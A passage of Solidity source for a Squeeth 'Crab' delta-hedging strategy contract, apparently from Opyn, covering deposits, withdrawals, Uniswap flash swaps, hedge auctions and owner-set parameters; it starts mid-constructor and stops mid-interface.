1e18, "max price multiplier too low"); oracle = _oracle; ethWSqueethPool = _ethWSqueethPool; hedgeTimeThreshold = _hedgeTimeThreshold; hedgePriceThreshold = _hedgePriceThreshold; auctionTime = _auctionTime; minPriceMultiplier = _minPriceMultiplier; maxPriceMultiplier = _maxPriceMultiplier; ethQuoteCurrencyPool = IController(_wSqueethController).ethQuoteCurrencyPool(); quoteCurrency = IController(_wSqueethController).quoteCurrency(); } /** * @notice receive function to allow ETH transfer to this contract */ receive() external payable { require(msg.sender == weth || msg.sender == address(powerTokenController), "Cannot receive eth"); } /** * @notice owner can set the strategy cap in ETH collateral terms * @dev deposits are rejected if it would put the strategy above the cap amount * @dev strategy collateral can be above the cap amount due to hedging activities * @param _capAmount the maximum strategy collateral in ETH, checked on deposits */ function setStrategyCap(uint256 _capAmount) external onlyOwner { strategyCap = _capAmount; emit SetStrategyCap(_capAmount); } /** * @notice called to redeem the net value of a vault post shutdown * @dev needs to be called 1 time before users can exit the strategy using withdrawShutdown */ function redeemShortShutdown() external { hasRedeemedInShutdown = true; powerTokenController.redeemShort(vaultId); } /** * @notice flash deposit into strategy, providing ETH, selling wSqueeth and receiving strategy tokens * @dev this function will execute a flash swap where it receives ETH, deposits and mints using flash swap proceeds and msg.value, and then repays the flash swap with wSqueeth * @dev _ethToDeposit must be less than msg.value plus the proceeds from the flash swap * @dev the difference between _ethToDeposit and msg.value provides the minimum that a user can receive for their sold wSqueeth * @param _ethToDeposit total ETH that will be deposited in to the strategy which is a combination of msg.value and flash swap proceeds */ function flashDeposit(uint256 _ethToDeposit) external payable nonReentrant { (uint256 cachedStrategyDebt, uint256 cachedStrategyCollateral) = _syncStrategyState(); _checkStrategyCap(_ethToDeposit, cachedStrategyCollateral); (uint256 wSqueethToMint, ) = _calcWsqueethToMintAndFee( _ethToDeposit, cachedStrategyDebt, cachedStrategyCollateral ); if (cachedStrategyDebt == 0 && cachedStrategyCollateral == 0) { // store hedge data as strategy is delta neutral at this point // only execute this upon first deposit uint256 wSqueethEthPrice = IOracle(oracle).getTwap( ethWSqueethPool, wPowerPerp, weth, hedgingTwapPeriod, true ); timeAtLastHedge = block.timestamp; priceAtLastHedge = wSqueethEthPrice; } _exactInFlashSwap( wPowerPerp, weth, IUniswapV3Pool(ethWSqueethPool).fee(), wSqueethToMint, _ethToDeposit.sub(msg.value), uint8(FLASH_SOURCE.FLASH_DEPOSIT), abi.encodePacked(_ethToDeposit) ); emit FlashDeposit(msg.sender, _ethToDeposit, wSqueethToMint); } /** * @notice flash withdraw from strategy, providing strategy tokens, buying wSqueeth, burning and receiving ETH * @dev this function will execute a flash swap where it receives wSqueeth, burns, withdraws ETH and then repays the flash swap with ETH * @param _crabAmount strategy token amount to burn * @param _maxEthToPay maximum ETH to pay to buy back the owed wSqueeth debt */ function flashWithdraw(uint256 _crabAmount, uint256 _maxEthToPay) external nonReentrant { uint256 exactWSqueethNeeded = _getDebtFromStrategyAmount(_crabAmount); _exactOutFlashSwap( weth, wPowerPerp, IUniswapV3Pool(ethWSqueethPool).fee(), exactWSqueethNeeded, _maxEthToPay, uint8(FLASH_SOURCE.FLASH_WITHDRAW), abi.encodePacked(_crabAmount) ); emit FlashWithdraw(msg.sender, _crabAmount, exactWSqueethNeeded); } /** * @notice deposit ETH into strategy * @dev provide ETH, return wSqueeth and strategy token */ function deposit() external payable nonReentrant { uint256 amount = msg.value; (uint256 wSqueethToMint, uint256 depositorCrabAmount) = _deposit(msg.sender, amount, false); emit Deposit(msg.sender, wSqueethToMint, depositorCrabAmount); } /** * @notice withdraw WETH from strategy * @dev provide strategy tokens and wSqueeth, returns eth * @param _crabAmount amount of strategy token to burn */ function withdraw(uint256 _crabAmount) external nonReentrant { uint256 wSqueethAmount = _getDebtFromStrategyAmount(_crabAmount); uint256 ethToWithdraw = _withdraw(msg.sender, _crabAmount, wSqueethAmount, false); // send back ETH collateral payable(msg.sender).sendValue(ethToWithdraw); emit Withdraw(msg.sender, _crabAmount, wSqueethAmount, ethToWithdraw); } /** * @notice called to exit a vault if the Squeeth Power Perp contracts are shutdown * @param _crabAmount amount of strategy token to burn */ function withdrawShutdown(uint256 _crabAmount) external nonReentrant { require(powerTokenController.isShutDown(), "Squeeth contracts not shut down"); require(hasRedeemedInShutdown, "Crab must redeemShortShutdown"); uint256 strategyShare = _calcCrabRatio(_crabAmount, totalSupply()); uint256 ethToWithdraw = _calcEthToWithdraw(strategyShare, address(this).balance); _burn(msg.sender, _crabAmount); payable(msg.sender).sendValue(ethToWithdraw); emit WithdrawShutdown(msg.sender, _crabAmount, ethToWithdraw); } /** * @notice hedge startegy based on time threshold with uniswap arbing * @dev this function atomically hedges on uniswap and provides a bounty to the caller based on the difference * @dev between uniswap execution price and the price of the hedging auction * @param _minWSqueeth minimum WSqueeth amount the caller willing to receive if hedge auction is selling WSqueeth * @param _minEth minimum ETH amount the caller is willing to receive if hedge auction is buying WSqueeth */ function timeHedgeOnUniswap(uint256 _minWSqueeth, uint256 _minEth) external { (bool isTimeHedgeAllowed, uint256 auctionTriggerTime) = _isTimeHedge(); require(isTimeHedgeAllowed, "Time hedging is not allowed"); _hedgeOnUniswap(auctionTriggerTime, _minWSqueeth, _minEth); emit TimeHedgeOnUniswap(msg.sender, block.timestamp, auctionTriggerTime, _minWSqueeth, _minEth); } /** * @notice hedge startegy based on price threshold with uniswap arbing * @dev this function atomically hedges on uniswap and provides a bounty to the caller based on the difference * @dev between uniswap execution price and the price of the hedging auction * @param _auctionTriggerTime the time when the price deviation threshold was exceeded and when the auction started * @param _minWSqueeth minimum WSqueeth amount the caller willing to receive if hedge auction is selling WSqueeth * @param _minEth minimum ETH amount the caller is willing to receive if hedge auction is buying WSqueeth */ function priceHedgeOnUniswap( uint256 _auctionTriggerTime, uint256 _minWSqueeth, uint256 _minEth ) external payable { require(_isPriceHedge(_auctionTriggerTime), "Price hedging not allowed"); _hedgeOnUniswap(_auctionTriggerTime, _minWSqueeth, _minEth); emit PriceHedgeOnUniswap(msg.sender, block.timestamp, _auctionTriggerTime, _minWSqueeth, _minEth); } /** * @notice strategy hedging based on time threshold * @dev need to attach msg.value if buying WSqueeth * @param _isStrategySellingWSqueeth sell or buy auction, true for sell auction * @param _limitPrice hedger limit auction price, should be the max price when auction is sell auction, min price when it is a buy auction */ function timeHedge(bool _isStrategySellingWSqueeth, uint256 _limitPrice) external payable nonReentrant { (bool isTimeHedgeAllowed, uint256 auctionTriggerTime) = _isTimeHedge(); require(isTimeHedgeAllowed, "Time hedging is not allowed"); _hedge(auctionTriggerTime, _isStrategySellingWSqueeth, _limitPrice); emit TimeHedge(msg.sender, _isStrategySellingWSqueeth, _limitPrice, auctionTriggerTime); } /** * @notice strategy hedging based on price threshold * @dev need to attach msg.value if buying WSqueeth * @param _auctionTriggerTime the time when the price deviation threshold was exceeded and when the auction started * @param _isStrategySellingWSqueeth specify the direction of the trade that you expect, this choice impacts the limit price chosen * @param _limitPrice the min or max price that you will trade at, depending on if buying or selling */ function priceHedge( uint256 _auctionTriggerTime, bool _isStrategySellingWSqueeth, uint256 _limitPrice ) external payable nonReentrant { require(_isPriceHedge(_auctionTriggerTime), "Price hedging not allowed"); _hedge(_auctionTriggerTime, _isStrategySellingWSqueeth, _limitPrice); emit PriceHedge(msg.sender, _isStrategySellingWSqueeth, _limitPrice, _auctionTriggerTime); } /** * @notice check if hedging based on price threshold is allowed * @param _auctionTriggerTime the time when the price deviation threshold was exceeded and when the auction started * @return true if hedging is allowed */ function checkPriceHedge(uint256 _auctionTriggerTime) external view returns (bool) { return _isPriceHedge(_auctionTriggerTime); } /** * @notice check if hedging based on time threshold is allowed * @return isTimeHedgeAllowed true if hedging is allowed * @return auctionTriggertime auction trigger timestamp */ function checkTimeHedge() external view returns (bool, uint256) { return _isTimeHedge(); } /** * @notice get wSqueeth debt amount associated with strategy token amount * @param _crabAmount strategy token amount * @return wSqueeth amount */ function getWsqueethFromCrabAmount(uint256 _crabAmount) external view returns (uint256) { return _getDebtFromStrategyAmount(_crabAmount); } /** * @notice owner can set the delta hedge threshold as a percent scaled by 1e18 of ETH collateral * @dev the strategy will not allow a hedge if the trade size is below this threshold * @param _deltaHedgeThreshold minimum hedge size in a percent of ETH collateral */ function setDeltaHedgeThreshold(uint256 _deltaHedgeThreshold) external onlyOwner { deltaHedgeThreshold = _deltaHedgeThreshold; emit SetDeltaHedgeThreshold(_deltaHedgeThreshold); } /** * @notice owner can set the twap period in seconds that is used for calculating twaps for hedging * @param _hedgingTwapPeriod the twap period, in seconds */ function setHedgingTwapPeriod(uint32 _hedgingTwapPeriod) external onlyOwner { require(_hedgingTwapPeriod >= 180, "twap period is too short"); hedgingTwapPeriod = _hedgingTwapPeriod; emit SetHedgingTwapPeriod(_hedgingTwapPeriod); } /** * @notice owner can set the hedge time threshold in seconds that determines how often the strategy can be hedged * @param _hedgeTimeThreshold the hedge time threshold, in seconds */ function setHedgeTimeThreshold(uint256 _hedgeTimeThreshold) external onlyOwner { require(_hedgeTimeThreshold > 0, "invalid hedge time threshold"); hedgeTimeThreshold = _hedgeTimeThreshold; emit SetHedgeTimeThreshold(_hedgeTimeThreshold); } /** * @notice owner can set the hedge time threshold in percent, scaled by 1e18 that determines the deviation in wPowerPerp price that can trigger a rebalance * @param _hedgePriceThreshold the hedge price threshold, in percent, scaled by 1e18 */ function setHedgePriceThreshold(uint256 _hedgePriceThreshold) external onlyOwner { require(_hedgePriceThreshold > 0, "invalid hedge price threshold"); hedgePriceThreshold = _hedgePriceThreshold; emit SetHedgePriceThreshold(_hedgePriceThreshold); } /** * @notice owner can set the auction time, in seconds, that a hedge auction runs for * @param _auctionTime the length of the hedge auction in seconds */ function setAuctionTime(uint256 _auctionTime) external onlyOwner { require(_auctionTime > 0, "invalid auction time"); auctionTime = _auctionTime; emit SetAuctionTime(_auctionTime); } /** * @notice owner can set the min price multiplier in a percentage scaled by 1e18 (9e17 is 90%) * @dev the min price multiplier is multiplied by the TWAP price to get the intial auction price * @param _minPriceMultiplier the min price multiplier, a percentage, scaled by 1e18 */ function setMinPriceMultiplier(uint256 _minPriceMultiplier) external onlyOwner { require(_minPriceMultiplier < 1e18, "min price multiplier too high"); minPriceMultiplier = _minPriceMultiplier; emit SetMinPriceMultiplier(_minPriceMultiplier); } /** * @notice owner can set the max price multiplier in a percentage scaled by 1e18 (11e18 is 110%) * @dev the max price multiplier is multiplied by the TWAP price to get the final auction price * @param _maxPriceMultiplier the max price multiplier, a percentage, scaled by 1e18 */ function setMaxPriceMultiplier(uint256 _maxPriceMultiplier) external onlyOwner { require(_maxPriceMultiplier > 1e18, "max price multiplier too low"); maxPriceMultiplier = _maxPriceMultiplier; emit SetMaxPriceMultiplier(_maxPriceMultiplier); } /** * @notice get current auction details * @param _auctionTriggerTime timestamp where auction started * @return if strategy is selling wSqueeth, wSqueeth amount to auction, ETH proceeds, auction price, if auction direction has switched */ function getAuctionDetails(uint256 _auctionTriggerTime) external view returns ( bool, uint256, uint256, uint256, bool ) { (uint256 strategyDebt, uint256 ethDelta) = _syncStrategyState(); uint256 currentWSqueethPrice = IOracle(oracle).getTwap( ethWSqueethPool, wPowerPerp, weth, hedgingTwapPeriod, true ); uint256 feeAdjustment = _calcFeeAdjustment(); (bool isSellingAuction, ) = _checkAuctionType(strategyDebt, ethDelta, currentWSqueethPrice, feeAdjustment); uint256 auctionWSqueethEthPrice = _getAuctionPrice(_auctionTriggerTime, currentWSqueethPrice, isSellingAuction); (bool isStillSellingAuction, uint256 wSqueethToAuction) = _checkAuctionType( strategyDebt, ethDelta, auctionWSqueethEthPrice, feeAdjustment ); bool isAuctionDirectionChanged = isSellingAuction != isStillSellingAuction; uint256 ethProceeds = wSqueethToAuction.wmul(auctionWSqueethEthPrice); return (isSellingAuction, wSqueethToAuction, ethProceeds, auctionWSqueethEthPrice, isAuctionDirectionChanged); } /** * @notice check if a user deposit puts the strategy above the cap * @dev reverts if a deposit amount puts strategy over the cap * @dev it is possible for the strategy to be over the cap from trading/hedging activities, but withdrawals are still allowed * @param _depositAmount the user deposit amount in ETH * @param _strategyCollateral the updated strategy collateral */ function _checkStrategyCap(uint256 _depositAmount, uint256 _strategyCollateral) internal view { require(_strategyCollateral.add(_depositAmount) <= strategyCap, "Deposit exceeds strategy cap"); } /** * @notice uniswap flash swap callback function * @dev this function will be called by flashswap callback function uniswapV3SwapCallback() * @param _caller address of original function caller * @param _amountToPay amount to pay back for flashswap * @param _callData arbitrary data attached to callback * @param _callSource identifier for which function triggered callback */ function _strategyFlash( address _caller, address, /*_tokenIn*/ address, /*_tokenOut*/ uint24, /*_fee*/ uint256 _amountToPay, bytes memory _callData, uint8 _callSource ) internal override { if (FLASH_SOURCE(_callSource) == FLASH_SOURCE.FLASH_DEPOSIT) { FlashDepositData memory data = abi.decode(_callData, (FlashDepositData)); // convert WETH to ETH as Uniswap uses WETH IWETH9(weth).withdraw(IWETH9(weth).balanceOf(address(this))); //use user msg.value and unwrapped WETH from uniswap flash swap proceeds to deposit into strategy //will revert if data.totalDeposit is > eth balance in contract _deposit(_caller, data.totalDeposit, true); //repay the flash swap IWPowerPerp(wPowerPerp).transfer(ethWSqueethPool, _amountToPay); emit FlashDepositCallback(_caller, _amountToPay, address(this).balance); //return excess eth to the user that was not needed for slippage if (address(this).balance > 0) { payable(_caller).sendValue(address(this).balance); } } else if (FLASH_SOURCE(_callSource) == FLASH_SOURCE.FLASH_WITHDRAW) { FlashWithdrawData memory data = abi.decode(_callData, (FlashWithdrawData)); //use flash swap wSqueeth proceeds to withdraw ETH along with user crabAmount uint256 ethToWithdraw = _withdraw( _caller, data.crabAmount, IWPowerPerp(wPowerPerp).balanceOf(address(this)), true ); //use some amount of withdrawn ETH to repay flash swap IWETH9(weth).deposit{value: _amountToPay}(); IWETH9(weth).transfer(ethWSqueethPool, _amountToPay); //excess ETH not used to repay flash swap is transferred to the user uint256 proceeds = ethToWithdraw.sub(_amountToPay); emit FlashWithdrawCallback(_caller, _amountToPay, proceeds); if (proceeds > 0) { payable(_caller).sendValue(proceeds); } } else if (FLASH_SOURCE(_callSource) == FLASH_SOURCE.FLASH_HEDGE_SELL) { //strategy is selling wSqueeth for ETH FlashHedgeData memory data = abi.decode(_callData, (FlashHedgeData)); // convert WETH to ETH as Uniswap uses WETH IWETH9(weth).withdraw(IWETH9(weth).balanceOf(address(this))); //mint wSqueeth to pay hedger and repay flash swap, deposit ETH _executeSellAuction(_caller, data.ethProceeds, data.wSqueethAmount, data.ethProceeds, true); //determine excess wSqueeth that the auction would have sold but is not needed to repay flash swap uint256 wSqueethProfit = data.wSqueethAmount.sub(_amountToPay); //minimum profit check for hedger require(wSqueethProfit >= data.minWSqueeth, "profit is less than min wSqueeth"); //repay flash swap and transfer profit to hedger IWPowerPerp(wPowerPerp).transfer(ethWSqueethPool, _amountToPay); IWPowerPerp(wPowerPerp).transfer(_caller, wSqueethProfit); } else if (FLASH_SOURCE(_callSource) == FLASH_SOURCE.FLASH_HEDGE_BUY) { //strategy is buying wSqueeth for ETH FlashHedgeData memory data = abi.decode(_callData, (FlashHedgeData)); //withdraw ETH to pay hedger and repay flash swap, burn wSqueeth _executeBuyAuction(_caller, data.wSqueethAmount, data.ethProceeds, true); //determine excess ETH that the auction would have paid but is not needed to repay flash swap uint256 ethProfit = data.ethProceeds.sub(_amountToPay); //minimum profit check for hedger require(ethProfit >= data.minEth, "profit is less than min ETH"); //repay flash swap and transfer profit to hedger IWETH9(weth).deposit{value: _amountToPay}(); IWETH9(weth).transfer(ethWSqueethPool, _amountToPay); payable(_caller).sendValue(ethProfit); } } /** * @notice deposit into strategy * @dev if _isFlashDeposit is true, keeps wSqueeth in contract, otherwise sends to user * @param _depositor depositor address * @param _amount amount of ETH collateral to deposit * @param _isFlashDeposit true if called by flashDeposit * @return wSqueethToMint minted amount of WSqueeth * @return depositorCrabAmount minted CRAB strategy token amount */ function _deposit( address _depositor, uint256 _amount, bool _isFlashDeposit ) internal returns (uint256, uint256) { (uint256 strategyDebt, uint256 strategyCollateral) = _syncStrategyState(); _checkStrategyCap(_amount, strategyCollateral); (uint256 wSqueethToMint, uint256 ethFee) = _calcWsqueethToMintAndFee(_amount, strategyDebt, strategyCollateral); uint256 depositorCrabAmount = _calcSharesToMint(_amount.sub(ethFee), strategyCollateral, totalSupply()); if (strategyDebt == 0 && strategyCollateral == 0) { // store hedge data as strategy is delta neutral at this point // only execute this upon first deposit uint256 wSqueethEthPrice = IOracle(oracle).getTwap( ethWSqueethPool, wPowerPerp, weth, hedgingTwapPeriod, true ); timeAtLastHedge = block.timestamp; priceAtLastHedge = wSqueethEthPrice; } // mint wSqueeth and send it to msg.sender _mintWPowerPerp(_depositor, wSqueethToMint, _amount, _isFlashDeposit); // mint LP to depositor _mintStrategyToken(_depositor, depositorCrabAmount); return (wSqueethToMint, depositorCrabAmount); } /** * @notice withdraw WETH from strategy * @dev if _isFlashDeposit is true, keeps wSqueeth in contract, otherwise sends to user * @param _crabAmount amount of strategy token to burn * @param _wSqueethAmount amount of wSqueeth to burn * @param _isFlashWithdraw flag if called by flashWithdraw * @return ETH amount to withdraw */ function _withdraw( address _from, uint256 _crabAmount, uint256 _wSqueethAmount, bool _isFlashWithdraw ) internal returns (uint256) { (, uint256 strategyCollateral) = _syncStrategyState(); uint256 strategyShare = _calcCrabRatio(_crabAmount, totalSupply()); uint256 ethToWithdraw = _calcEthToWithdraw(strategyShare, strategyCollateral); _burnWPowerPerp(_from, _wSqueethAmount, ethToWithdraw, _isFlashWithdraw); _burn(_from, _crabAmount); return ethToWithdraw; } /** * @notice hedging function to adjust collateral and debt to be eth delta neutral * @param _auctionTriggerTime timestamp where auction started * @param _isStrategySellingWSqueeth auction type, true for sell auction * @param _limitPrice hedger accepted auction price, should be the max price when auction is sell auction, min price when it is a buy auction */ function _hedge( uint256 _auctionTriggerTime, bool _isStrategySellingWSqueeth, uint256 _limitPrice ) internal { ( bool isSellingAuction, uint256 wSqueethToAuction, uint256 ethProceeds, uint256 auctionWSqueethEthPrice ) = _startAuction(_auctionTriggerTime); require(_isStrategySellingWSqueeth == isSellingAuction, "wrong auction type"); if (isSellingAuction) { // Receiving ETH and paying wSqueeth require(auctionWSqueethEthPrice <= _limitPrice, "Auction price > max price"); require(msg.value >= ethProceeds, "Low ETH amount received"); _executeSellAuction(msg.sender, msg.value, wSqueethToAuction, ethProceeds, false); } else { require(msg.value == 0, "ETH attached for buy auction"); // Receiving wSqueeth and paying ETH require(auctionWSqueethEthPrice >= _limitPrice, "Auction price < min price"); _executeBuyAuction(msg.sender, wSqueethToAuction, ethProceeds, false); } emit Hedge( msg.sender, _isStrategySellingWSqueeth, _limitPrice, auctionWSqueethEthPrice, wSqueethToAuction, ethProceeds ); } /** * @notice execute arb between auction price and uniswap price * @param _auctionTriggerTime auction starting time * @param _minWSqueeth minimum WSqueeth amount the caller willing to receive if hedge auction is selling WSqueeth * @param _minEth minimum ETH amount the caller is willing to receive if hedge auction is buying WSqueeth */ function _hedgeOnUniswap( uint256 _auctionTriggerTime, uint256 _minWSqueeth, uint256 _minEth ) internal { ( bool isSellingAuction, uint256 wSqueethToAuction, uint256 ethProceeds, uint256 auctionWSqueethEthPrice ) = _startAuction(_auctionTriggerTime); if (isSellingAuction) { _exactOutFlashSwap( wPowerPerp, weth, IUniswapV3Pool(ethWSqueethPool).fee(), ethProceeds, wSqueethToAuction, uint8(FLASH_SOURCE.FLASH_HEDGE_SELL), abi.encodePacked(wSqueethToAuction, ethProceeds, _minWSqueeth, _minEth) ); } else { _exactOutFlashSwap( weth, wPowerPerp, IUniswapV3Pool(ethWSqueethPool).fee(), wSqueethToAuction, ethProceeds, uint8(FLASH_SOURCE.FLASH_HEDGE_BUY), abi.encodePacked(wSqueethToAuction, ethProceeds, _minWSqueeth, _minEth) ); } emit HedgeOnUniswap(msg.sender, isSellingAuction, auctionWSqueethEthPrice, wSqueethToAuction, ethProceeds); } /** * @notice execute sell auction based on the parameters calculated * @dev if _isHedgingOnUniswap, wSqueeth minted is kept to repay flashswap, otherwise sent to seller * @param _buyer buyer address * @param _buyerAmount buyer ETH amount sent * @param _wSqueethToSell wSqueeth amount to sell * @param _ethToBuy ETH amount to buy * @param _isHedgingOnUniswap true if arbing with uniswap price */ function _executeSellAuction( address _buyer, uint256 _buyerAmount, uint256 _wSqueethToSell, uint256 _ethToBuy, bool _isHedgingOnUniswap ) internal { if (_isHedgingOnUniswap) { _mintWPowerPerp(_buyer, _wSqueethToSell, _ethToBuy, true); } else { _mintWPowerPerp(_buyer, _wSqueethToSell, _ethToBuy, false); uint256 remainingEth = _buyerAmount.sub(_ethToBuy); if (remainingEth > 0) { payable(_buyer).sendValue(remainingEth); } } emit ExecuteSellAuction(_buyer, _wSqueethToSell, _ethToBuy, _isHedgingOnUniswap); } /** * @notice execute buy auction based on the parameters calculated * @dev if _isHedgingOnUniswap, ETH proceeds are not sent to seller * @param _seller seller address * @param _wSqueethToBuy wSqueeth amount to buy * @param _ethToSell ETH amount to sell * @param _isHedgingOnUniswap true if arbing with uniswap price */ function _executeBuyAuction( address _seller, uint256 _wSqueethToBuy, uint256 _ethToSell, bool _isHedgingOnUniswap ) internal { _burnWPowerPerp(_seller, _wSqueethToBuy, _ethToSell, _isHedgingOnUniswap); if (!_isHedgingOnUniswap) { payable(_seller).sendValue(_ethToSell); } emit ExecuteBuyAuction(_seller, _wSqueethToBuy, _ethToSell, _isHedgingOnUniswap); } /** * @notice determine auction direction, price, and ensure auction hasn't switched directions * @param _auctionTriggerTime auction starting time * @return auction type * @return WSqueeth amount to sell or buy * @return ETH to sell/buy * @return auction WSqueeth/ETH price */ function _startAuction(uint256 _auctionTriggerTime) internal returns ( bool, uint256, uint256, uint256 ) { (uint256 strategyDebt, uint256 ethDelta) = _syncStrategyState(); uint256 currentWSqueethPrice = IOracle(oracle).getTwap( ethWSqueethPool, wPowerPerp, weth, hedgingTwapPeriod, true ); uint256 feeAdjustment = _calcFeeAdjustment(); (bool isSellingAuction, ) = _checkAuctionType(strategyDebt, ethDelta, currentWSqueethPrice, feeAdjustment); uint256 auctionWSqueethEthPrice = _getAuctionPrice(_auctionTriggerTime, currentWSqueethPrice, isSellingAuction); (bool isStillSellingAuction, uint256 wSqueethToAuction) = _checkAuctionType( strategyDebt, ethDelta, auctionWSqueethEthPrice, feeAdjustment ); require(isSellingAuction == isStillSellingAuction, "auction direction changed"); uint256 ethProceeds = wSqueethToAuction.wmul(auctionWSqueethEthPrice); timeAtLastHedge = block.timestamp; priceAtLastHedge = currentWSqueethPrice; return (isSellingAuction, wSqueethToAuction, ethProceeds, auctionWSqueethEthPrice); } /** * @notice sync strategy debt and collateral amount from vault * @return synced debt amount * @return synced collateral amount */ function _syncStrategyState() internal view returns (uint256, uint256) { (, , uint256 syncedStrategyCollateral, uint256 syncedStrategyDebt) = _getVaultDetails(); return (syncedStrategyDebt, syncedStrategyCollateral); } /** * @notice calculate the fee adjustment factor, which is the amount of ETH owed per 1 wSqueeth minted * @dev the fee is a based off the index value of squeeth and uses a twap scaled down by the PowerPerp's INDEX_SCALE * @return the fee adjustment factor */ function _calcFeeAdjustment() internal view returns (uint256) { uint256 wSqueethEthPrice = Power2Base._getTwap( oracle, ethWSqueethPool, wPowerPerp, weth, POWER_PERP_PERIOD, false ); uint256 feeRate = IController(powerTokenController).feeRate(); return wSqueethEthPrice.mul(feeRate).div(10000); } /** * @notice calculate amount of wSqueeth to mint and fee paid from deposited amount * @param _depositedAmount amount of deposited WETH * @param _strategyDebtAmount amount of strategy debt * @param _strategyCollateralAmount collateral amount in strategy * @return amount of minted wSqueeth and ETH fee paid on minted squeeth */ function _calcWsqueethToMintAndFee( uint256 _depositedAmount, uint256 _strategyDebtAmount, uint256 _strategyCollateralAmount ) internal view returns (uint256, uint256) { uint256 wSqueethToMint; uint256 feeAdjustment = _calcFeeAdjustment(); if (_strategyDebtAmount == 0 && _strategyCollateralAmount == 0) { require(totalSupply() == 0, "Crab contracts shut down"); uint256 wSqueethEthPrice = IOracle(oracle).getTwap( ethWSqueethPool, wPowerPerp, weth, hedgingTwapPeriod, true ); uint256 squeethDelta = wSqueethEthPrice.wmul(2e18); wSqueethToMint = _depositedAmount.wdiv(squeethDelta.add(feeAdjustment)); } else { wSqueethToMint = _depositedAmount.wmul(_strategyDebtAmount).wdiv( _strategyCollateralAmount.add(_strategyDebtAmount.wmul(feeAdjustment)) ); } uint256 fee = wSqueethToMint.wmul(feeAdjustment); return (wSqueethToMint, fee); } /** * @notice check if hedging based on time threshold is allowed * @return true if time hedging is allowed * @return auction trigger timestamp */ function _isTimeHedge() internal view returns (bool, uint256) { uint256 auctionTriggerTime = timeAtLastHedge.add(hedgeTimeThreshold); return (block.timestamp >= auctionTriggerTime, auctionTriggerTime); } /** * @notice check if hedging based on price threshold is allowed * @param _auctionTriggerTime timestamp where auction started * @return true if hedging is allowed */ function _isPriceHedge(uint256 _auctionTriggerTime) internal view returns (bool) { if (_auctionTriggerTime < timeAtLastHedge) return false; uint32 secondsToPriceHedgeTrigger = uint32(block.timestamp.sub(_auctionTriggerTime)); uint256 wSqueethEthPriceAtTriggerTime = IOracle(oracle).getHistoricalTwap( ethWSqueethPool, wPowerPerp, weth, secondsToPriceHedgeTrigger + hedgingTwapPeriod, secondsToPriceHedgeTrigger ); uint256 cachedRatio = wSqueethEthPriceAtTriggerTime.wdiv(priceAtLastHedge); uint256 priceThreshold = cachedRatio > 1e18 ? (cachedRatio).sub(1e18) : uint256(1e18).sub(cachedRatio); return priceThreshold >= hedgePriceThreshold; } /** * @notice calculate auction price based on auction direction, start time and wSqueeth price * @param _auctionTriggerTime timestamp where auction started * @param _wSqueethEthPrice WSqueeth/ETH price * @param _isSellingAuction auction type (true for selling, false for buying auction) * @return auction price */ function _getAuctionPrice( uint256 _auctionTriggerTime, uint256 _wSqueethEthPrice, bool _isSellingAuction ) internal view returns (uint256) { uint256 auctionCompletionRatio = block.timestamp.sub(_auctionTriggerTime) >= auctionTime ? 1e18 : (block.timestamp.sub(_auctionTriggerTime)).wdiv(auctionTime); uint256 priceMultiplier; if (_isSellingAuction) { priceMultiplier = maxPriceMultiplier.sub( auctionCompletionRatio.wmul(maxPriceMultiplier.sub(minPriceMultiplier)) ); } else { priceMultiplier = minPriceMultiplier.add( auctionCompletionRatio.wmul(maxPriceMultiplier.sub(minPriceMultiplier)) ); } return _wSqueethEthPrice.wmul(priceMultiplier); } /** * @notice check the direction of auction and the target amount of wSqueeth to hedge * @param _debt strategy debt * @param _ethDelta ETH delta (amount of ETH in strategy) * @param _wSqueethEthPrice WSqueeth/ETH price * @param _feeAdjustment the fee adjustment, the amount of ETH owed per wSqueeth minted * @return auction type(sell or buy) and auction initial target hedge in wSqueeth */ function _checkAuctionType( uint256 _debt, uint256 _ethDelta, uint256 _wSqueethEthPrice, uint256 _feeAdjustment ) internal view returns (bool, uint256) { uint256 wSqueethDelta = _debt.wmul(2e18).wmul(_wSqueethEthPrice); (uint256 targetHedge, bool isSellingAuction) = _getTargetHedgeAndAuctionType( wSqueethDelta, _ethDelta, _wSqueethEthPrice, _feeAdjustment ); require(targetHedge.wmul(_wSqueethEthPrice).wdiv(_ethDelta) > deltaHedgeThreshold, "strategy is delta neutral"); return (isSellingAuction, targetHedge); } /** * @dev calculate amount of strategy token to mint for depositor * @param _amount amount of ETH deposited * @param _strategyCollateralAmount amount of strategy collateral * @param _crabTotalSupply total supply of strategy token * @return amount of strategy token to mint */ function _calcSharesToMint( uint256 _amount, uint256 _strategyCollateralAmount, uint256 _crabTotalSupply ) internal pure returns (uint256) { uint256 depositorShare = _amount.wdiv(_strategyCollateralAmount.add(_amount)); if (_crabTotalSupply != 0) return _crabTotalSupply.wmul(depositorShare).wdiv(uint256(1e18).sub(depositorShare)); return _amount; } /** * @notice calculates the ownership proportion for strategy debt and collateral relative to a total amount of strategy tokens * @param _crabAmount strategy token amount * @param _totalSupply strategy total supply * @return ownership proportion of a strategy token amount relative to the total strategy tokens */ function _calcCrabRatio(uint256 _crabAmount, uint256 _totalSupply) internal pure returns (uint256) { return _crabAmount.wdiv(_totalSupply); } /** * @notice calculate ETH to withdraw from strategy given a ownership proportion * @param _crabRatio crab ratio * @param _strategyCollateralAmount amount of collateral in strategy * @return amount of ETH allowed to withdraw */ function _calcEthToWithdraw(uint256 _crabRatio, uint256 _strategyCollateralAmount) internal pure returns (uint256) { return _strategyCollateralAmount.wmul(_crabRatio); } /** * @notice determine target hedge and auction type (selling/buying auction) * @dev target hedge is the amount of WSqueeth the auction needs to sell or buy to be eth delta neutral * @param _wSqueethDelta WSqueeth delta * @param _ethDelta ETH delta * @param _wSqueethEthPrice WSqueeth/ETH price * @param _feeAdjustment the fee adjustment, the amount of ETH owed per wSqueeth minted * @return target hedge in wSqueeth * @return auction type: true if auction is selling WSqueeth, false if buying WSqueeth */ function _getTargetHedgeAndAuctionType( uint256 _wSqueethDelta, uint256 _ethDelta, uint256 _wSqueethEthPrice, uint256 _feeAdjustment ) internal pure returns (uint256, bool) { return (_wSqueethDelta > _ethDelta) ? ((_wSqueethDelta.sub(_ethDelta)).wdiv(_wSqueethEthPrice), false) : ((_ethDelta.sub(_wSqueethDelta)).wdiv(_wSqueethEthPrice.add(_feeAdjustment)), true); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma abicoder v2; import {VaultLib} from "../libs/VaultLib.sol"; interface IController { function ethQuoteCurrencyPool() external view returns (address); function feeRate() external view returns (uint256); function getFee( uint256 _vaultId, uint256 _wPowerPerpAmount, uint256 _collateralAmount ) external view returns (uint256); function quoteCurrency() external view returns (address); function vaults(uint256 _vaultId) external view returns 